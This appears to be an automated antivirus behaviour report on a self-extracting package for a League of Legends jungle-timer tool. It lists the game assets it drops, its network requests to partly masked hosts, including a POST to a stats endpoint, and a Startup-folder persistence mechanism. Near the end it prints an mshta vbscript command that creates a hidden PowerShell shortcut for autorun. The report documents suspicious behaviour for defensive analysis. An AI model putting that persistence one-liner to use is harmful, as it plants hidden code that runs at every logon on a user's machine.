Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\powershell.lnk
Modifies file system
Creates the following files
- %TEMP%\rarsfx0\res\misc\background\bright\readme.txt
- %TEMP%\rarsfx0\res\buffs\tt\objective_vilemaw_mousehover.png
- %TEMP%\rarsfx0\res\buffs\tt\objective_vilemaw_disabled.png
- %TEMP%\rarsfx0\res\buffs\tt\objective_vilemaw.png
- %TEMP%\rarsfx0\res\buffs\sr\objective_tr_mousehover.png
- %TEMP%\rarsfx0\res\buffs\sr\objective_tr_disabled.png
- %TEMP%\rarsfx0\res\buffs\sr\objective_tr.png
- %TEMP%\rarsfx0\res\buffs\sr\objective_tb_mousehover.png
- %TEMP%\rarsfx0\res\buffs\sr\objective_tb_disabled.png
- %TEMP%\rarsfx0\res\buffs\sr\objective_tb.png
- %TEMP%\rarsfx0\res\buffs\sr\objective_or_mousehover.png
- %TEMP%\rarsfx0\res\buffs\sr\objective_or_disabled.png
- %TEMP%\rarsfx0\res\misc\minimap\minimap_ward_30sec.png
- %TEMP%\rarsfx0\res\buffs\sr\objective_or.png
- %TEMP%\rarsfx0\res\buffs\sr\objective_ob_disabled.png
- %TEMP%\rarsfx0\res\buffs\sr\objective_ob.png
- %TEMP%\rarsfx0\res\buffs\sr\objective_dragon_mousehover.png
- %TEMP%\rarsfx0\res\buffs\sr\objective_dragon_disabled.png
- %TEMP%\rarsfx0\res\buffs\sr\objective_dragon.png
- %TEMP%\rarsfx0\res\buffs\sr\objective_baron_mousehover.png
- %TEMP%\rarsfx0\res\buffs\sr\objective_baron_disabled.png
- %TEMP%\rarsfx0\res\buffs\sr\objective_baron.png
- %TEMP%\rarsfx0\res\buffs\sr\ob_oo.png
- %TEMP%\rarsfx0\res\misc\minimap\minimap_wardmap_tt.png
- %TEMP%\rarsfx0\res\misc\minimap\minimap_wardmap_sr.png
- %TEMP%\rarsfx0\res\buffs\sr\objective_ob_mousehover.png
- %TEMP%\rarsfx0\res\misc\minimap\minimap_ward_30sec_orig.png
- %TEMP%\rarsfx0\res\buffs\sr\or_oo.png
- %TEMP%\rarsfx0\res\misc\background\bright\settings_bg_visual.png
- %TEMP%\rarsfx0\res\buffs\sr\tb_oo.png
- %TEMP%\rarsfx0\res\misc\settings\settings_tab_visual.png
- %TEMP%\rarsfx0\res\misc\settings\settings_tab_minimap.png
- %TEMP%\rarsfx0\res\misc\settings\settings_tab_main.png
- %TEMP%\rarsfx0\res\misc\settings\settings_tab_macros.png
- %TEMP%\rarsfx0\res\misc\settings\settings_tab_hotkey.png
- %TEMP%\rarsfx0\res\misc\settings\settings_tab_color.png
- %TEMP%\rarsfx0\res\misc\settings\settings_tab_chat.png
- %TEMP%\rarsfx0\res\misc\settings\settings_button_save.png
- %TEMP%\rarsfx0\res\misc\settings\settings_button_reset.png
- %TEMP%\rarsfx0\res\misc\settings\settings_button_close.png
- %TEMP%\rarsfx0\res\misc\background\bright\settings_bg_chat.png
- %TEMP%\rarsfx0\running-problems-troubleshooting.png
- %TEMP%\rarsfx0\res\misc\background\settings_bg_minimap.png
- %TEMP%\rarsfx0\res\misc\background\bright\settings_bg_minimap.png
- %TEMP%\rarsfx0\res\misc\background\settings_bg_main.png
- %TEMP%\rarsfx0\res\misc\background\bright\settings_bg_main.png
- %TEMP%\rarsfx0\res\misc\background\settings_bg_macros.png
- %TEMP%\rarsfx0\res\misc\background\bright\settings_bg_macros.png
- %TEMP%\rarsfx0\res\misc\background\settings_bg_hotkey.png
- %TEMP%\rarsfx0\res\misc\background\bright\settings_bg_hotkey.png
- %TEMP%\rarsfx0\res\misc\background\settings_bg_color.png
- %TEMP%\rarsfx0\res\misc\background\bright\settings_bg_color.png
- %TEMP%\rarsfx0\res\misc\background\settings_bg_chat.png
- %TEMP%\rarsfx0\res\misc\background\settings_bg_visual.png
- %TEMP%\rarsfx0\res\misc\minimap\minimap_ward_180sec_orig.png
- %TEMP%\rarsfx0\res\misc\minimap\minimap_ward_180sec.png
- %TEMP%\rarsfx0\res\misc\minimap\minimap_ward_10sec_orig.png
- %TEMP%\rarsfx0\res\sound\our blue in 1 minute.mp3
- %TEMP%\rarsfx0\res\sound\dragon in 30 seconds.mp3
- %TEMP%\rarsfx0\res\sound\dragon in 10 seconds.mp3
- %TEMP%\rarsfx0\res\sound\dragon in 1 minute.mp3
- %TEMP%\rarsfx0\res\sound\baron in 30 seconds.mp3
- %TEMP%\rarsfx0\res\sound\baron in 10 seconds.mp3
- %TEMP%\rarsfx0\res\sound\baron in 1 minute.mp3
- %TEMP%\rarsfx0\res\misc\ljtd2.ttf
- %TEMP%\rarsfx0\res\misc\ljtd1.ttf
- %TEMP%\rarsfx0\res\sound\init.wav
- %TEMP%\rarsfx0\res\sound\our blue in 30 seconds.mp3
- %TEMP%\rarsfx0\res\sound\blink.wav
- %TEMP%\rarsfx0\res\support 5on5.ini
- %TEMP%\rarsfx0\res\professional 5on5.ini
- %TEMP%\rarsfx0\ljtd.ini
- %TEMP%\rarsfx0\res\default 5on5.ini
- %TEMP%\rarsfx0\res\default 3on3.ini
- %TEMP%\rarsfx0\res\advanced 5on5.ini
- %TEMP%\rarsfx0\licence.txt
- %TEMP%\rarsfx0\readme.txt
- %TEMP%\rarsfx0\res\buffs\readme.txt
- %TEMP%\rarsfx0\res\misc\readme.txt
- %TEMP%\rarsfx0\res\sound\readme.txt
- %TEMP%\rarsfx0\lol jungle timer deluxe.exe
- %TEMP%\rarsfx0\res\sound\our red in 1 minute.mp3
- %TEMP%\rarsfx0\res\sound\our blue in 10 seconds.mp3
- %TEMP%\rarsfx0\res\sound\our red in 10 seconds.mp3
- %TEMP%\rarsfx0\res\misc\minimap\minimap_ward_10sec.png
- %TEMP%\rarsfx0\res\misc\background\control_overlay.png
- %TEMP%\rarsfx0\res\misc\minimap\minimap_panel_vertical.png
- %TEMP%\rarsfx0\res\misc\minimap\minimap_panel.png
- %TEMP%\rarsfx0\res\misc\minimap\minimap_buttonward3min.png
- %TEMP%\rarsfx0\res\misc\minimap\minimap_buttonward2min.png
- %TEMP%\rarsfx0\res\misc\minimap\minimap_buttonward1min.png
- %TEMP%\rarsfx0\res\misc\minimap\minimap_button_resize.png
- %TEMP%\rarsfx0\res\misc\minimap\minimap_button_red-blue.png
- %TEMP%\rarsfx0\res\misc\minimap\minimap_button_blue-red.png
- %TEMP%\rarsfx0\res\misc\flash_orig.png
- %TEMP%\rarsfx0\res\misc\flash.png
- %TEMP%\rarsfx0\res\buffs\sr\dragon_oo.png
- %TEMP%\rarsfx0\res\buffs\sr\baron_oo.png
- %TEMP%\rarsfx0\res\sound\our red in 30 seconds.mp3
- %TEMP%\rarsfx0\res\misc\addsign.png
- %TEMP%\rarsfx0\res\misc\ward_orig.gif
- %TEMP%\rarsfx0\res\misc\ward.gif
- %TEMP%\rarsfx0\res\misc\minimap\minimap_blinkhint.gif
- %TEMP%\rarsfx0\res\misc\minimap\minimap_blink.gif
- %TEMP%\rarsfx0\res\sound\their red in 30 seconds.mp3
- %TEMP%\rarsfx0\res\sound\their red in 10 seconds.mp3
- %TEMP%\rarsfx0\res\sound\their red in 1 minute.mp3
- %TEMP%\rarsfx0\res\sound\their blue in 30 seconds.mp3
- %TEMP%\rarsfx0\res\sound\their blue in 10 seconds.mp3
- %TEMP%\rarsfx0\res\sound\their blue in 1 minute.mp3
- %TEMP%\rarsfx0\res\buffs\sr\tr_oo.png
- %TEMP%\rarsfx0\log.txt
Network activity
Connects to
- 'lj#d.eu':80
TCP
HTTP GET requests
- http://www.kw##er.de/programme/lol-jungle-timer-deluxe/update
- http://www.wi####meineip.de/
HTTP POST requests
- http://www.lj#d.eu/stats/insert.php
UDP
- DNS ASK kw##er.de
- DNS ASK wi####meineip.de
- DNS ASK lj#d.eu
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following
- '%TEMP%\rarsfx0\lol jungle timer deluxe.exe'
Executes the following
- '%WINDIR%\syswow64\mshta.exe' vbscript:Execute("Set x=CreateObject(""WScript.Shell"").CreateShortcut(""%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk""):x.TargetPath=""powershell"":x.WindowStyle = 7:...
